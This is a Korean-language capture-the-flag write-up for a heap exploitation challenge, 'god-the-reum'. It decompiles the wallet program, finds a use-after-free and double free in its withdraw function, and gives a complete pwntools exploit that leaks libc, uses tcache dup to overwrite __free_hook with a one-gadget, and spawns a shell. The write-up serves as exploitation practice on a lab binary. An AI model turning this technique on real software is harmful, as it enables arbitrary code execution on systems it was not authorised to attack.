1. 문제
1) mitigation 확인
다 걸려있다.
2) 문제 확인
힙 문제로 추정된다. 바로 분석해보자.
3) 코드흐름 파악
우선 구조체를 두개 만들어줬다.
struct wallet
{
char *wallet_addr;
char *wallet_size_addr;
};
struct wallet_table_
{
char table[16];
};
C
복사
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
wallet *wallet; // rdi
unsigned int index; // [rsp+1Ch] [rbp-64h]
wallet *wallet_table; // [rsp+20h] [rbp-60h]
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
wallet = (wallet *)stdin;
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
index = print_menu();
while ( getchar() != '\n' )
;
switch ( (unsigned __int64)index ) // print_menu의 return 값
{
case 1uLL:
wallet = (wallet *)&(&wallet_table)[2 * wallet_count];
create_wallet(wallet);
break;
case 2uLL:
wallet = (wallet *)&(&wallet_table)[2 * (int)select_wallet()];
deposit((wallet **)wallet);
break;
case 3uLL:
wallet = (wallet *)&(&wallet_table)[2 * (int)select_wallet()];
withdraw((wallet **)wallet);
break;
case 4uLL:
wallet = (wallet *)&wallet_table;
show((__int64)&wallet_table);
break;
case 5uLL:
puts("bye da.");
return 0LL;
case 6uLL:
wallet = (wallet *)&(&wallet_table)[2 * (int)select_wallet()];
for_developer((__int64)wallet);
break;
default:
unknown_menu((__int64)wallet, 0LL);
break;
}
}
}
C
복사
각 메뉴에 따라서 스택영역에 들어있는 wallet_table의 인덱스를 인자로 한다.
unsigned __int64 __fastcall create_wallet(wallet *wallet)
{
unsigned int v1; // eax
char v3; // [rsp+13h] [rbp-1Dh]
char v4; // [rsp+13h] [rbp-1Dh]
int i; // [rsp+14h] [rbp-1Ch]
size_t size; // [rsp+18h] [rbp-18h]
void *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
buf = malloc(0x82uLL);
if ( !buf || wallet_count > 4 )
{
puts("wallet creation failed");
exit(0);
}
memset(buf, 0, 0x82uLL);
strcat((char *)buf, "0x");
v1 = time(0LL);
srand(v1);
for ( i = 0; i <= 0x27; ++i )
{
v3 = rand() % 15;
if ( v3 > 9 )
v4 = rand() % 6 + 97;
else
v4 = v3 + 48;
*((_BYTE *)buf + i + 2) = v4;
}
wallet->wallet_addr = (char *)buf;
printf("how much initial eth? : ");
__isoc99_scanf("%llu", &size);
wallet->wallet_size_addr = (char *)malloc(size);
if ( wallet->wallet_size_addr )
*(_QWORD *)wallet->wallet_size_addr = size;
++wallet_count;
print_newlines();
puts("Creating new wallet succcess !\n");
print_create_wallet_info((__int64)wallet->wallet_addr, (_QWORD *)wallet->wallet_size_addr);
putchar(10);
return __readfsqword(0x28u) ^ v8;
}
C
복사
지갑은 5개까지만 만들수 있다. create함수가 한번 호출되면, 0x81 고정사이즈로 malloc이 한번되고, 입력한 사이즈만큼 malloc을 한다. 따라서 총 2번의 malloc을 하게 된다.
unsigned __int64 __fastcall withdraw(wallet *wallet)
{
__int64 withdarw_; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("how much you wanna withdraw? : ");
__isoc99_scanf("%llu", &withdarw_);
*(_QWORD *)wallet->wallet_size_addr -= withdarw_;
if ( !*(_QWORD *)wallet->wallet_size_addr )
free(wallet->wallet_size_addr);
puts("withdraw ok !\n");
return __readfsqword(0x28u) ^ v3;
}
C
복사
withdraw함수를 보면, 선택한 wallet→wallet_size_addr 에 들어있는 값이 0이면 free를 한다. free후 따로 초기화를 하지 않기 때문에 uaf와 double free가 가능할것이다.
__int64 __fastcall for_developer(wallet *wallet)
{
print_newlines();
puts("this menu is only for developer");
puts("if you are not developer, please get out");
sleep(1u);
printf("new eth : ");
return __isoc99_scanf("%10s", wallet->wallet_size_addr);
}
C
복사
6번 메뉴로 wallet→size_addr에 값을 넣을수 있다.
2. 접근방법
•
uaf, dbf가 가능하다.
•
총 create함수는 5번까지 호출가능
•
large bin 사이즈로 create 2번, withdraw 1번 호출로 libc leak 가능
•
tache에 들어갈 사이즈로 create 2번, withdraw 2번 호출후 show로 heap code leak 가능
일단 이정도로 정리가 가능하다. 최종목표는 wallet_table에 들어있는 아무 인덱스의 힙 주소를 free_hook 같은걸로 덮은다음, 6번 메뉴로 free_hook에 one_shot 가젯을 넣는것이다.
그럼 create 함수 호출시 할당받는 주소를 free_hook이 되게해야한다. 즉 fd영역에 free_hook을 넣어야한다. double free 체크가 없으므로 0x10 정도 사이즈로 create호출후, withdraw를 2번 호출하여 tcache dup을 한다.
dup을 이용해서 fd에 동일한 청크가 잘 들어간것을 확인할수 있다. 이제 여기서 해당 인덱스를 선택해서 6번 메뉴를 호출하고, 0x55ff0c930380에 free_hook을 넣는다. 이 위치가 바로 fd이다.
6번메뉴의 호출이 끝나면, 해당 힙의 fd에 free_hook이 들어간다. 여기서 2번더 create를 호출하면, wallet_table에 free_hook 주소가 들어간다. 이 인덱스를 4번이라고 하면 table[4]를 선택한뒤, 6번 메뉴를 호출하고, 값을 쓰면 free_hook에 넣은 값이 들어간다. 즉 여기다가 원샷을 넣으면 된다.
그리고 마지막으로 free를 호출하면 끝이다.
3. 풀이
from pwn import *
context(log_level='DEBUG')
p=process('./god-the-reum')
gdb.attach(p,'code\nb *0xb60+$code\n')
def create(money):
p.sendlineafter('choice : ','1')
p.sendlineafter('eth? : ',str(money))
def deposit(index,money):
p.sendlineafter('choice : ','2')
p.sendlineafter('no : ',str(index))
p.sendlineafter('deposit? : ',str(money))
def withdraw(index,money):
p.sendlineafter('choice : ','3')
p.sendlineafter('no : ',str(index))
p.sendlineafter('withdraw? : ',str(money))
def show():
p.sendlineafter('choice : ','4')
def developer(index,new_):
p.sendlineafter('choice : ','6')
p.sendlineafter('no : ',str(index))
p.sendlineafter('new eth : ',new_)
#leak
create(1040)
create(1040)
withdraw(0,1040)
show()
p.recvuntil('ballance ')
leak=p.recvuntil('\n')[:-1]
leak=int(leak)
libc_base=leak-0x3ebca0
free_hook=libc_base+0x00000000003ed8e8
log.info('main_arena+96::'+hex(leak))
log.info('libcbase :: '+hex(libc_base))
log.info('free_hook:: '+hex(free_hook))
create(81)
withdraw(2,81)
withdraw(2,0)
show()
p.recvuntil('2) addr')
p.recvuntil('ballance ')
leak=p.recvuntil('\n')[:-1]
leak=int(leak)
log.info('heap code :: '+hex(leak))
one=[0x4f365,0x4f3c2,0x4f3c2]
one_gadget=libc_base+one[1]
#create(81)
developer(2,p64(free_hook))
create(81)
create(81)
developer(4,p64(one_gadget))
withdraw(1,1040)
p.interactive()
Python
복사